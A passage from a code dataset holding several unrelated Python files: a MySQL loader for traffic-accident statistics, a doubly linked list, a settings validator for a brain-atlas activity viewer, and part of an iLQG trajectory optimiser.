distinct_sql)\n #gender_type_table(table_name, columns)\n gender_accidents_table(table_name, columns)\n elif table_name == \"_8_HoraDelAccidente\":\n hour_accidents_table(table_name, columns)\n\ndef victim_type_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS TipoVictimas(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n\n sql_execute(sql)\n\n sql = \"SELECT DISTINCT _Categoria FROM _6_EstadoDeVictimas\"\n categories = sql_execute(sql, return_values=True)\n print(\"\\nCategorias Distintas\\n {}\\n\".format(categories))\n for category in categories:\n sql = \"INSERT INTO TipoVictimas(typeDesc) VALUES('{}')\".format(category[0])\n sql_execute(sql) \n\ndef accidents_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS Accidentes(idAccidente INT PRIMARY KEY AUTO_INCREMENT, \\\n anio INT, idTipoVictima INT, FOREIGN KEY (idTipoVictima) REFERENCES TipoVictimas (idTipoVictima),\\\n cantidadMuertes INT, cantidadHeridos INT)\"\n\n sql_execute(sql)\n\n sql = \"SELECT * FROM _6_EstadoDeVictimas\"\n victims = sql_execute(sql, return_values=True)\n \n for victim in victims:\n sql = \"SELECT idTipo FROM TipoVictimas WHERE typeDesc='{}'\".format(victim[1])\n v_types = sql_execute(sql, return_values=True)\n\n val = 3\n sql = \"INSERT INTO Accidentes(anio, idTipoVictima, cantidadMuertes, cantidadHeridos)\\\n VALUES({}, {}, {}, {})\".format(str(victim[0]), str(v_types[0][0]),\\\n int(str(victim[3]).replace(\",\", \"\")), int(str(victim[2]).replace(\",\", \"\")))\n sql_execute(sql)\n\ndef accidents_zone_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS AccidenteZonas(idAccidenteZona INT PRIMARY KEY AUTO_INCREMENT, \\\n anio INT NOT NULL, total INT, totalZonaUrbana INT, totalIntersección INT,\\\n totalNoIntersección INT, totalZonaSuburbana INT, totalCaminoRural INT, totalCarreteraEstatal INT, otro INT)\"\n\n sql_execute(sql)\n \n sql = \"SELECT * FROM _1_AccidentesPorZona\"\n accidents = sql_execute(sql, return_values=True)\n \n for acc in accidents:\n year = int(str(acc[0]).replace(\",\", \"\"))\n total = int(str(acc[1]).replace(\",\", \"\"))\n totalZU = int(str(acc[3]).replace(\",\", \"\"))\n totalI = int(str(acc[4]).replace(\",\", \"\"))\n totalNI = int(str(acc[5]).replace(\",\", \"\"))\n totalZS = int(str(acc[6]).replace(\",\", \"\"))\n totalCR = int(str(acc[7]).replace(\",\", \"\"))\n totalCE = int(str(acc[8]).replace(\",\", \"\"))\n other = int(str(acc[9]).replace(\",\", \"\"))\n sql = \"INSERT INTO AccidenteZonas(anio, total, totalZonaUrbana, totalIntersección,\\\n totalNoIntersección, totalZonaSuburbana, totalCaminoRural, totalCarreteraEstatal, otro)\\\n VALUES({}, {}, {}, {}, {}, {}, {}, {}, {})\"\\\n .format(year, total, totalZU, totalI, totalNI, totalZS, totalCR, totalCE, other)\n sql_execute(sql)\n\n\ndef accident_cause_type_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS TipoCausaAccidentes(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n\n sql_execute(sql)\n\n sql = \"SELECT DISTINCT __3_CausaDeAccidentes FROM _3_CausaDeAccidentes\"\n causes = sql_execute(sql, return_values=True)\n print(\"\\nCausas Distintas\\n {}\\n\".format(causes))\n for cause in causes:\n sql = \"INSERT INTO TipoCausaAccidentes(typeDesc) VALUES('{}')\".format(cause[0])\n sql_execute(sql) \n\ndef create_type_table(create_sql_table, new_table_name, distinct_sql):\n sql = create_sql_table\n sql_execute(sql)\n sql = distinct_sql\n queries = sql_execute(sql, return_values=True)\n print(\"\\n [SQL] {} DISTINCT\\n {}\\n\".format(new_table_name, queries))\n for query in queries:\n sql = \"INSERT INTO {}(typeDesc) VALUES('{}')\".format(new_table_name, query[0])\n sql_execute(sql)\n \ndef accidents_cause_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS CausaAccidentes(idCausaAccidente INT PRIMARY KEY AUTO_INCREMENT, \\\n anio INT, idTipoCausa INT, FOREIGN KEY (idTipoCausa) REFERENCES TipoCausaAccidentes (idTipo),\\\n total INT)\"\n\n sql_execute(sql)\n\n sql = \"SELECT * FROM _3_CausaDeAccidentes\"\n causes = sql_execute(sql, return_values=True)\n \n for causes in causes:\n # Gets foreign ID\n sql = \"SELECT idTipo FROM TipoCausaAccidentes WHERE typeDesc='{}'\".format(causes[0])\n v_types = sql_execute(sql, return_values=True)\n\n for i in range(len(columns)):\n col_str = str(columns[i]).replace(\"_\", \"\")\n if is_integer(col_str):\n sql = \"INSERT INTO CausaAccidentes(anio, idTipoCausa, total)\\\n VALUES({}, {}, {})\".format(int(col_str), str(v_types[0][0]),\\\n int(str(causes[i]).replace(\",\", \"\")))\n sql_execute(sql)\n\ndef gender_type_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS TipoGeneros(idTipo INT PRIMARY KEY AUTO_INCREMENT, \\\n typeDesc VARCHAR(30), UNIQUE(typeDesc))\"\n\n sql_execute(sql)\n\n sql = \"SELECT DISTINCT __7_GeneroDelConductor FROM _7_GeneroDelConductor\"\n genders = sql_execute(sql, return_values=True)\n print(\"\\nCausas Distintas\\n {}\\n\".format(genders))\n for gender in genders:\n sql = \"INSERT INTO TipoGeneros(typeDesc) VALUES('{}')\".format(gender[0])\n sql_execute(sql)\n\ndef gender_accidents_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS AccidentePorGeneros(idGeneroAccidente INT PRIMARY KEY AUTO_INCREMENT, \\\n anio INT, idTipoGenero INT, FOREIGN KEY (idTipoGenero) REFERENCES TipoGeneros (idTipo),\\\n total INT)\"\n\n sql_execute(sql)\n\n sql = \"SELECT * FROM _7_GeneroDelConductor\"\n genders = sql_execute(sql, return_values=True)\n \n for gender in genders:\n # Gets foreign ID\n sql = \"SELECT idTipo FROM TipoGeneros WHERE typeDesc='{}'\".format(gender[0])\n v_types = sql_execute(sql, return_values=True)\n\n for i in range(len(columns)):\n col_str = str(columns[i]).replace(\"_\", \"\")\n if is_integer(col_str):\n sql = \"INSERT INTO AccidentePorGeneros(anio, idTipoGenero, total)\\\n VALUES({}, {}, {})\".format(int(col_str), str(v_types[0][0]),\\\n int(str(gender[i]).replace(\",\", \"\")))\n sql_execute(sql)\n\ndef hour_accidents_table(table_name, columns):\n sql = \"CREATE TABLE IF NOT EXISTS AccidentePorHoras(idHoraAccidente INT PRIMARY KEY AUTO_INCREMENT, \\\n hora INT, anio INT, total INT)\"\n\n sql_execute(sql)\n\n sql = \"SELECT * FROM _8_HoraDelAccidente\"\n hours = sql_execute(sql, return_values=True)\n \n for hour in hours:\n for i in range(len(columns)):\n col_str = str(columns[i]).replace(\"_\", \"\")\n if is_integer(col_str):\n sql = \"INSERT INTO AccidentePorHoras(hora, anio, total)\\\n VALUES({}, {}, {})\".format(int(str(hour[0]).replace(\",\", \"\")),\\\n int(col_str), int(str(hour[i]).replace(\",\", \"\")))\n sql_execute(sql)\n\ndef sql_execute(sql, return_values=False):\n try:\n cursor = instancia.cursor()\n cursor.execute(sql)\n if return_values:\n return cursor.fetchall()\n except mysql.connector.Error as err: \n print(\"[SQL ERROR] {}\".format(err))\n\ndef is_integer(string):\n try:\n int(string)\n return True\n except:\n return False\n return False\ndef main():\n li = Limpiador()\n # Comentado porque los archivos ya están limpiados desde el repositorio.\n \"\"\"\n print('Iniciando Limpieza')\n li.Limpiar('./Archivos', './Destino')\n \"\"\"\n print('[LOG] Limpieza Terminada')\n\n # LLAMAR FUNCION\n print('[LOG] Iniciando Mapeo')\n\n tmp_tables = li.Mapear('./Destino')\n print('[LOG] Mapeo terminado')\n print('[LOG] Tablas temporales:')\n for t in tmp_tables:\n print(\"[SQL] Nombre Tabla => {}\\n\".format(t))\n #li.show_table(t)\n\n make_tables(tmp_tables, './json')\n\nif __name__ == '__main__':\n main()","sub_path":"LimpiarDocumentos/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"136305478","text":"class Node(object):\n def __init__(self, item):\n self.item = item # 值域\n self.next = None # 后继指针\n self.prev = None # 前驱指针 (previous)\n\n\nclass LianBiao(object):\n def __init__(self):\n # 头结点\n self.root = None\n\n # 添加节点\n def add(self, node):\n # 判断头结点是否为空,为空,挂上,结束\n if not self.root:\n self.root = node\n return\n\n # 不为空,找当前节点的下一个节点 将根节点变为当前节点\n cur_node = self.root\n while cur_node:\n if not cur_node.next:\n cur_node.next = node\n return\n # 将当前节点的下一个节点重新赋值给当前节点 循环执行\n prev_node = cur_node\n cur_node = cur_node.next\n cur_node.prev = prev_node\n\n\n def bianli(self): #打印链表\n cur_node = self.root\n while cur_node:\n print(cur_node.item)\n print(cur_node.prev)\n cur_node = cur_node.next\nif __name__ == '__main__':\n l = LianBiao()\n for i in range(1, 10):\n node = Node(i)\n l.add(node)\n\n l.bianli()\n","sub_path":"data_structure/双链表.py","file_name":"双链表.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325194067","text":"from collections import deque\nfrom glob import glob\nimport json\nfrom pathlib import Path\nfrom typing import Union\n\nfrom allensdk.core.structure_tree import StructureTree\n\nfrom activity_viewer.cache import Cache\nfrom .avsettings import AVSettings\nfrom .sections import Compartment, System\n\nPathType = Union[str, Path]\n\n\nclass SettingsValidator:\n \"\"\"A class for validating settings files.\n\n Parameters\n ----------\n filename : str or Path\n Path to settings file to validate.\n \"\"\"\n def __init__(self, filename: PathType):\n with open(filename, \"r\") as fh:\n settings = json.load(fh)\n\n self._compartment = settings[\"compartment\"] if \"compartment\" in settings else {}\n self._system = settings[\"system\"] if \"system\" in settings else {}\n self._epochs = settings[\"epochs\"] if \"epochs\" in settings else []\n\n # construct temporary cache for loading structure tree\n # data directory and CCF version are relevant, so use what's given\n cache_system_section = System()\n if \"cacheDirectory\" in self._system:\n try:\n cache_system_section.cache_directory = self._system[\"cacheDirectory\"]\n except (TypeError, ValueError):\n pass\n if \"atlasVersion\" in self._system:\n try:\n cache_system_section.atlas_version = self._system[\"atlasVersion\"]\n except (TypeError, ValueError):\n pass\n\n self._cache = Cache(AVSettings(None, system=cache_system_section))\n self._structure_tree = None\n self._tree_height = -1\n\n def _load_structure_tree(self):\n \"\"\"Load the structure tree from cache, or download if necessary.\"\"\"\n if self._structure_tree is not None: # pragma: no cover\n return\n\n # download but don't cache the structure tree\n if self._cache.structure_graph_exists():\n structure_graph = self._cache.load_structure_graph(recache_on_error=False)\n else:\n structure_graph = self._cache.download_structure_graph()\n \n self._structure_tree = StructureTree(structure_graph)\n\n def _compute_tree_height(self):\n self._load_structure_tree()\n \n root = self._structure_tree.get_structures_by_id([997])\n root[0][\"depth\"] = 0\n queue = deque(root)\n\n max_depth = 0\n while len(queue) > 0:\n node = queue.popleft()\n children = self._structure_tree.children([node[\"id\"]])[0]\n\n for child in children:\n child[\"depth\"] = node[\"depth\"] + 1\n max_depth = max(max_depth, child[\"depth\"])\n queue.extend(children)\n\n self._tree_height = max_depth\n\n def _validate_compartment(self, messages: dict) -> (bool, dict):\n \"\"\"Validate compartment section of a settings file.\"\"\"\n self._compute_tree_height()\n is_valid = True\n\n n_errors = len(messages[\"errors\"]) # check this later to determine validity\n\n # collect standard keys\n max_depth = self._compartment[\"maxDepth\"] if \"maxDepth\" in self._compartment else Compartment.DEFAULTS[\"max_depth\"]\n exclude = self._compartment[\"exclude\"] if \"exclude\" in self._compartment else Compartment.DEFAULTS[\"exclude\"]\n include = self._compartment[\"include\"] if \"include\" in self._compartment else Compartment.DEFAULTS[\"include\"]\n\n # flag additional keys\n for k in self._compartment:\n if k not in (\"maxDepth\", \"include\", \"exclude\"):\n messages[\"errors\"].append(f\"Unrecognized field '{k}' in compartment section.\")\n\n # validate maxDepth\n if not isinstance(max_depth, int):\n messages[\"errors\"].append(\"maxDepth must be an integer.\")\n\n if isinstance(max_depth, (int, float)):\n if max_depth < 0:\n messages[\"errors\"].append(\"maxDepth cannot be negative.\")\n\n if max_depth > self._tree_height:\n messages[\"errors\"].append(f\"maxDepth cannot exceed {self._tree_height}.\")\n\n # acronym -> id map\n ac_id_map = {k.lower(): v for k, v in self._structure_tree.get_id_acronym_map().items()}\n id_ac_map = {v: k for k, v in ac_id_map.items()}\n # name -> id map\n nm_id_map = {v.lower(): k for k, v in self._structure_tree.get_name_map().items()}\n id_nm_map = {v: k for k, v in nm_id_map.items()}\n\n # check include first\n if isinstance(include, list):\n include_ids = set()\n for val in include:\n if isinstance(val, str):\n val_lower = val.lower()\n\n if val_lower in ac_id_map:\n cid = ac_id_map[val_lower]\n elif val_lower in nm_id_map:\n cid = nm_id_map[val_lower]\n else:\n messages[\"errors\"].append(f\"Unrecognized compartment in 'include': '{val}'.\")\n continue\n elif isinstance(val, int):\n if val not in ac_id_map.values():\n messages[\"errors\"].append(f\"Unrecognized compartment ID in 'include': {val}\")\n continue\n\n cid = val\n else:\n messages[\"errors\"].append(f\"Invalid compartment in 'include': '{val}'.\")\n continue\n\n # duplicate entry\n if cid in include_ids:\n ac = id_ac_map[cid]\n nm = id_nm_map[cid]\n messages[\"warnings\"].append(f\"Duplicate compartment with id {cid}, name '{nm}', or acronym '{ac}', found in 'include'.\")\n\n include_ids.add(cid)\n else:\n messages[\"errors\"].append(\"include must be a list.\")\n\n # now check exclude\n if isinstance(exclude, list):\n exclude_ids = set()\n for val in exclude:\n if isinstance(val, str):\n val_lower = val.lower()\n\n if val_lower in ac_id_map:\n cid = ac_id_map[val_lower]\n elif val_lower in nm_id_map:\n cid = nm_id_map[val_lower]\n else:\n messages[\"errors\"].append(f\"Unrecognized compartment in 'exclude': '{val}'.\")\n continue\n elif isinstance(val, int):\n if val not in ac_id_map.values():\n messages[\"errors\"].append(f\"Unrecognized compartment ID in 'exclude': {val}\")\n continue\n\n cid = val\n else:\n messages[\"errors\"].append(f\"Invalid compartment in 'exclude': '{val}'.\")\n continue\n\n # entry found in include\n if cid in include_ids:\n ac = id_ac_map[cid]\n nm = id_nm_map[cid]\n messages[\"warnings\"].append(f\"Included compartment with id {cid}, name '{nm}', or acronym '{ac}', found in 'exclude', exclude entry will be ignored.\")\n\n # duplicate entry\n if cid in exclude_ids:\n ac = id_ac_map[cid]\n nm = id_nm_map[cid]\n messages[\"warnings\"].append(f\"Duplicate compartment with id {cid}, name '{nm}', or acronym '{ac}', found in 'exclude'.\")\n\n exclude_ids.add(cid)\n else:\n messages[\"errors\"].append(\"exclude must be a list.\")\n\n if len(messages[\"errors\"]) > n_errors:\n is_valid = False\n\n return is_valid, messages\n\n def _validate_system(self, messages: dict) -> (bool, dict):\n \"\"\"Validate system section.\"\"\"\n is_valid = True\n\n n_errors = len(messages[\"errors\"]) # check this later to determine validity\n\n # collect standard keys\n atlas_version = self._system[\"atlasVersion\"] if \"atlasVersion\" in self._system else System.DEFAULTS[\"atlas_version\"]\n cache_directory = self._system[\"cacheDirectory\"] if \"cacheDirectory\" in self._system else System.DEFAULTS[\"cache_directory\"]\n resolution = self._system[\"resolution\"] if \"resolution\" in self._system else System.DEFAULTS[\"resolution\"]\n data_files = self._system[\"dataFiles\"] if \"dataFiles\" in self._system else System.DEFAULTS[\"data_files\"]\n\n # flag additional keys\n for k in self._system:\n if k not in (\"atlasVersion\", \"cacheDirectory\", \"resolution\", \"dataFiles\"):\n messages[\"errors\"].append(f\"Unrecognized field '{k}' in system section.\")\n\n # atlas version\n if atlas_version not in (\"ccf_2015\", \"ccf_2016\", \"ccf_2017\"):\n messages[\"errors\"].append(f\"Unrecognized atlasVersion: '{atlas_version}'.\")\n \n # data directory\n if not Path(cache_directory).is_dir():\n messages[\"warnings\"].append(f\"cacheDirectory '{cache_directory}' does not exist or is not a directory.\")\n\n # resolution\n if resolution not in (10, 25, 50, 100):\n messages[\"errors\"].append(f\"Unrecognized voxel resolution: {resolution}.\")\n\n # data files\n if isinstance(data_files, str):\n data_files = [data_files]\n\n if isinstance(data_files, list):\n for data_file in data_files:\n if not isinstance(data_file, str):\n messages[\"errors\"].append(f\"Non-string value found in dataFiles: '{data_file}'\")\n continue\n\n unglobbed = glob(data_file)\n if len(unglobbed) == 0:\n messages[\"warnings\"].append(f\"Expanding glob '{data_file}' gave no results.\")\n else:\n messages[\"errors\"].append(\"Expecting a string or list of strings in dataFiles.\")\n\n if len(messages[\"errors\"]) > n_errors:\n is_valid = False\n\n return is_valid, messages\n \n def _validate_epochs(self, messages: dict) -> (bool, dict):\n \"\"\"Validate epochs value.\"\"\"\n is_valid = True\n\n n_errors = len(messages[\"errors\"]) # check this later to determine validity\n\n if isinstance(self._epochs, list):\n for epoch in self._epochs:\n if not isinstance(epoch, dict):\n messages[\"errors\"].append(f\"Non-object value found in epochs: {epoch}\")\n continue\n\n try:\n label = messages.pop(\"label\")\n if not isinstance(label, str):\n messages[\"errors\"].append(f\"Non-string value given for epoch label: '{label}'.\")\n except KeyError:\n messages[\"errors\"].append(f\"Epoch missing a label.\")\n\n try:\n bounds = messages.pop(\"bounds\")\n if not isinstance(bounds, list):\n messages[\"errors\"].append(f\"Non-list value given for epoch bounds: '{bounds}'.\")\n elif len(bounds) != 2:\n messages[\"errors\"].append(f\"Bounds list given with {len(bounds)} values.\")\n elif bounds[0] >= bounds[1]:\n messages[\"errors\"].append(f\"Times reversed in bounds list.\")\n except KeyError:\n messages[\"errors\"].append(\"Epoch missing bounds.\")\n\n for k in epoch: # additional keys\n messages[\"errors\"].append(f\"Unrecognized keys found in epoch: '{k}'\")\n\n else:\n messages[\"errors\"].append(\"Expecting a list (possibly empty) of epochs.\")\n\n if len(messages[\"errors\"]) > n_errors:\n is_valid = False\n\n return is_valid, messages\n\n def validate(self) -> (bool, dict):\n \"\"\"Validate settings object.\n \n Returns\n -------\n is_valid : bool\n True if and only if all settings are valid.\n messages : dict\n Error messages and warnings.\n \"\"\"\n compartment_is_valid, messages = self._validate_compartment({\"errors\": [], \"warnings\": []})\n system_is_valid, messages = self._validate_system(messages)\n is_valid = compartment_is_valid and system_is_valid\n \n return is_valid, messages\n","sub_path":"activity_viewer/settings/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":12231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"372106343","text":"\"\"\" This file defines code for iLQG-based trajectory optimization. \"\"\"\nimport logging\nimport copy\n\nimport numpy as np\nfrom numpy.linalg import LinAlgError\nimport scipy as sp\n\nfrom gps.algorithm.traj_opt.config import TRAJ_OPT_LQR\nfrom gps.algorithm.traj_opt.traj_opt import TrajOpt\nfrom gps.algorithm.traj_opt.traj_opt_utils import \\\n traj_distr_kl, DGD_MAX_ITER\n\nfrom gps.algorithm.algorithm_badmm import AlgorithmBADMM\nfrom gps.algorithm.algorithm_mdgps import AlgorithmMDGPS\n\nLOGGER = logging.getLogger(__name__)\n\nclass TrajOptLQRPython(TrajOpt):\n \"\"\" LQR trajectory optimization, Python implementation. \"\"\"\n def __init__(self, hyperparams):\n config = copy.deepcopy(TRAJ_OPT_LQR)\n config.update(hyperparams)\n\n TrajOpt.__init__(self, config)\n\n # TODO - Add arg and return spec on this function.\n def update(self, m, algorithm, minAdvantage=False):\n \"\"\" Run dual gradient decent to optimize trajectories. \"\"\"\n T = algorithm.T\n eta = algorithm.cur[m].eta\n step_mult = algorithm.cur[m].step_mult\n traj_info = algorithm.cur[m].traj_info\n\n if isinstance(algorithm, AlgorithmMDGPS):\n # For MDGPS, constrain to previous NN linearization\n prev_traj_distr = algorithm.cur[m].pol_info.traj_distr()\n else:\n # For BADMM/trajopt, constrain to previous LG controller\n prev_traj_distr = algorithm.cur[m].traj_distr\n\n # Set KL-divergence step size (epsilon).\n kl_step = T * algorithm.base_kl_step * step_mult\n\n # We assume at min_eta, kl_div > kl_step, opposite for max_eta.\n min_eta = self._hyperparams['min_eta']\n max_eta = self._hyperparams['max_eta']\n\n LOGGER.debug(\"Running DGD for trajectory %d, eta: %f\", m, eta)\n for itr in range(DGD_MAX_ITER):\n LOGGER.debug(\"Iteration %i, bracket: (%.2e , %.2e , %.2e)\",\n itr, min_eta, eta, max_eta)\n\n # Run fwd/bwd pass, note that eta may be updated.\n # NOTE: we can just ignore case when the new eta is larger.\n traj_distr, eta = self.backward(prev_traj_distr, traj_info,\n eta, algorithm, m)\n new_mu, new_sigma = self.forward(traj_distr, traj_info)\n\n # Compute KL divergence constraint violation.\n kl_div = traj_distr_kl(new_mu, new_sigma,\n traj_distr, prev_traj_distr)\n con = kl_div - kl_step\n\n #print(\"kl_step: \", kl_step)\n #print(\"con: \", con)\n #print(\"kl_div: \", kl_div)\n\n # Convergence check - constraint satisfaction.\n if (abs(con) < 0.1*kl_step):\n LOGGER.debug(\"KL: %f / %f, converged iteration %i\",\n kl_div, kl_step, itr)\n break\n\n # Choose new eta (bisect bracket or multiply by constant)\n if con < 0: # Eta was too big.\n max_eta = eta\n geom = np.sqrt(min_eta*max_eta) # Geometric mean.\n new_eta = max(geom, 0.1*max_eta)\n LOGGER.debug(\"KL: %f / %f, eta too big, new eta: %f\",\n kl_div, kl_step, new_eta)\n else: # Eta was too small.\n min_eta = eta\n geom = np.sqrt(min_eta*max_eta) # Geometric mean.\n new_eta = min(geom, 10.0*min_eta)\n LOGGER.debug(\"KL: %f / %f, eta too small, new eta: %f\",\n kl_div, kl_step, new_eta)\n\n # Logarithmic mean: log_mean(x,y) = (y - x)/(log(y) - log(x))\n eta = new_eta\n\n if minAdvantage:\n traj_distr = self._compute_advantage_stabilizing_controller(traj_distr, copy.deepcopy(prev_traj_distr),\n traj_info, new_mu)\n new_mu, new_sigma = self.forward(traj_distr, traj_info)\n\n if kl_div > kl_step and abs(kl_div - kl_step) > 0.1*kl_step:\n LOGGER.warning(\n \"Final KL divergence after DGD convergence is too high.\"\n )\n\n return traj_distr, eta, new_mu, new_sigma\n\n def estimate_cost(self, traj_distr, traj_info):\n \"\"\" Compute Laplace approximation to expected cost. \"\"\"\n # Constants.\n T = traj_distr.T\n\n # Perform forward pass (note that we repeat this here, because\n # traj_info may have different dynamics from the ones that were\n # used to compute the distribution already saved in traj).\n mu, sigma = self.forward(traj_distr, traj_info)\n\n # Compute cost.\n predicted_cost = np.zeros(T)\n for t in range(T):\n predicted_cost[t] = traj_info.cc[t] + 0.5 * \\\n np.sum(sigma[t, :, :] * traj_info.Cm[t, :, :]) + 0.5 * \\\n mu[t, :].T.dot(traj_info.Cm[t, :, :]).dot(mu[t, :]) + \\\n mu[t, :].T.dot(traj_info.cv[t, :])\n return predicted_cost\n\n def forward(self, traj_distr, traj_info):\n \"\"\"\n Perform LQR forward pass. Computes state-action marginals from\n dynamics and policy.\n Args:\n traj_distr: A linear Gaussian policy object.\n traj_info: A TrajectoryInfo object.\n Returns:\n mu: A T x dX mean action vector.\n sigma: A T x dX x dX covariance matrix.\n \"\"\"\n # Compute state-action marginals from specified conditional\n # parameters and current traj_info.\n T = traj_distr.T\n dU = traj_distr.dU\n dX = traj_distr.dX\n\n # Constants.\n idx_x = slice(dX)\n\n # Allocate space.\n sigma = np.zeros((T, dX+dU, dX+dU))\n mu = np.zeros((T, dX+dU))\n\n # Pull out dynamics.\n Fm = traj_info.dynamics.Fm\n fv = traj_info.dynamics.fv\n dyn_covar = traj_info.dynamics.dyn_covar\n\n # Set initial covariance (initial mu is always zero).\n sigma[0, idx_x, idx_x] = traj_info.x0sigma\n mu[0, idx_x] = traj_info.x0mu\n\n for t in range(T):\n sigma[t, :, :] = np.vstack([\n np.hstack([\n sigma[t, idx_x, idx_x],\n sigma[t, idx_x, idx_x].dot(traj_distr.K[t, :, :].T)\n ]),\n np.hstack([\n traj_distr.K[t, :, :].dot(sigma[t, idx_x, idx_x]),\n traj_distr.K[t, :, :].dot(sigma[t, idx_x, idx_x]).dot(\n traj_distr.K[t, :, :].T\n ) + traj_distr.pol_covar[t, :, :]\n ])\n ])\n mu[t, :] = np.hstack([\n mu[t, idx_x],\n traj_distr.K[t, :, :].dot(mu[t, idx_x]) + traj_distr.k[t, :]\n ])\n if t < T - 1:\n sigma[t+1, idx_x, idx_x] = \\\n Fm[t, :, :].dot(sigma[t, :, :]).dot(Fm[t, :, :].T) + \\\n dyn_covar[t, :, :]\n mu[t+1, idx_x] = Fm[t, :, :].dot(mu[t, :]) + fv[t, :]\n return mu, sigma\n\n def backward(self, prev_traj_distr, traj_info, eta, algorithm, m):\n \"\"\"\n Perform LQR backward pass. This computes a new linear Gaussian\n policy object.\n Args:\n prev_traj_distr: A linear Gaussian policy object from\n previous iteration.\n traj_info: A TrajectoryInfo object.\n eta: Dual variable.\n algorithm: Algorithm object needed to compute costs.\n m: Condition number.\n Returns:\n traj_distr: A new linear Gaussian policy.\n new_eta: The updated dual variable. Updates happen if the\n Q-function is not PD.\n \"\"\"\n # Constants.\n T = prev_traj_distr.T\n dU = prev_traj_distr.dU\n dX = prev_traj_distr.dX\n\n traj_distr = prev_traj_distr.nans_like()\n\n # Store pol_wt if necessary\n if type(algorithm) == AlgorithmBADMM or type(algorithm) == AlgorithmGGCS:\n pol_wt = algorithm.cur[m].pol_info.pol_wt\n\n idx_x = slice(dX)\n idx_u = slice(dX, dX+dU)\n\n # Pull out dynamics.\n Fm = traj_info.dynamics.Fm\n fv = traj_info.dynamics.fv\n\n # Non-SPD correction terms.\n del_ = self._hyperparams['del0']\n eta0 = eta\n\n # Run dynamic programming.\n fail = True\n while fail:\n fail = False # Flip to true on non-symmetric PD.\n\n # Allocate.\n Vxx = np.zeros((T, dX, dX))\n Vx = np.zeros((T, dX))\n\n fCm, fcv = algorithm.compute_costs(m, eta)\n self.Cm_ext = fCm\n self.cv_ext = fcv\n\n #if algorithm.inner_itr == 0:\n # print(\"Optimize without importance sampling\")\n # Compute state-action-state function at each time step.\n for t in range(T - 1, -1, -1):\n # Add in the cost.\n Qtt = fCm[t, :, :] # (X+U) x (X+U)\n Qt = fcv[t, :] # (X+U) x 1\n\n # Add in the value function from the next time step.\n if t < T - 1:\n if type(algorithm) == AlgorithmBADMM:\n if algorithm.inner_itr > 0:\n multiplier = (pol_wt[t+1] + eta)/(pol_wt[t] + eta)\n else:\n multiplier = 1.0\n else:\n multiplier = 1.0\n Qtt = Qtt + multiplier * \\\n Fm[t, :, :].T.dot(Vxx[t+1, :, :]).dot(Fm[t, :, :])\n Qt = Qt + multiplier * \\\n Fm[t, :, :].T.dot(Vx[t+1, :] +\n Vxx[t+1, :, :].dot(fv[t, :]))\n\n # Symmetrize quadratic component.\n Qtt = 0.5 * (Qtt + Qtt.T)\n\n # Compute Cholesky decomposition of Q function action\n # component.\n try:\n U = sp.linalg.cholesky(Qtt[idx_u, idx_u])\n L = U.T\n except LinAlgError as e:\n # Error thrown when Qtt[idx_u, idx_u] is not\n # symmetric positive definite.\n LOGGER.debug('LinAlgError: %s', e)\n fail = True\n break\n\n # Store conditional covariance, inverse, and Cholesky.\n traj_distr.inv_pol_covar[t, :, :] = Qtt[idx_u, idx_u]\n traj_distr.pol_covar[t, :, :] = sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, np.eye(dU), lower=True)\n )\n traj_distr.chol_pol_covar[t, :, :] = sp.linalg.cholesky(\n traj_distr.pol_covar[t, :, :]\n )\n\n # Compute mean terms.\n traj_distr.k[t, :] = -sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, Qt[idx_u], lower=True)\n )\n traj_distr.K[t, :, :] = -sp.linalg.solve_triangular(\n U, sp.linalg.solve_triangular(L, Qtt[idx_u, idx_x],\n lower=True)\n )\n\n # Compute value function.\n Vxx[t, :, :] = Qtt[idx_x, idx_x] + \\\n Qtt[idx_x, idx_u].dot(traj_distr.K[t, :, :])\n Vx[t, :] = Qt[idx_x] + Qtt[idx_x, idx_u].dot(traj_distr.k[t, :])\n Vxx[t, :, :] = 0.5 * (Vxx[t, :, :] + Vxx[t, :, :].T)\n\n traj_distr.Qm[t, :, :] = Qtt\n traj_distr.qv[t, :] = Qt\n\n # Increment eta on non-SPD Q-function.\n if fail:\n old_eta = eta\n eta = eta0 + del_\n LOGGER.debug('Increasing eta: %f -> %f', old_eta, eta)\n del_ *= 2 # Increase del_ exponentially on failure.\n if eta >= 1e16:\n if np.any(np.isnan(Fm)) or np.any(np.isnan(fv)):\n raise ValueError('NaNs encountered in dynamics!')\n raise ValueError('Failed to find PD solution even for very \\\n large eta (check that dynamics and cost are \\\n reasonably well conditioned)!')\n return traj_distr, eta\n\n def _compute_advantage_stabilizing_controller(self, gcm_traj_distr, ref_traj_distr, traj_info, mu_gcm):\n # Constants.\n T = gcm_traj_distr.T\n dimU = gcm_traj_distr.dU\n dimX = gcm_traj_distr.dX\n index_x = slice(dimX)\n index_u = slice(dimX, dimX + dimU)\n gamma = 1.0\n\n # Pull out dynamics.\n Fm = traj_info.dynamics.Fm\n fv = traj_info.dynamics.fv\n\n # Allocate.\n Vm = np.zeros((T, dimX, dimX))\n vv = np.zeros((T, dimX))\n\n traj_distr = copy.deepcopy(gcm_traj_distr)\n\n # Get quadratic expansion of the extended cost function\n #self.Cm_ext, self.cv_ext = self.compute_extended_costs(eta, traj_info, gcm_traj_distr)\n\n # Compute state-action-state function at each time step.\n for t in range(T - 1, -1, -1):\n # Add in the cost.\n Qm = self.Cm_ext[t, :, :] # (X+U) x (X+U)\n qv = self.cv_ext[t, :] # (X+U) x 1\n gcm_Qm = 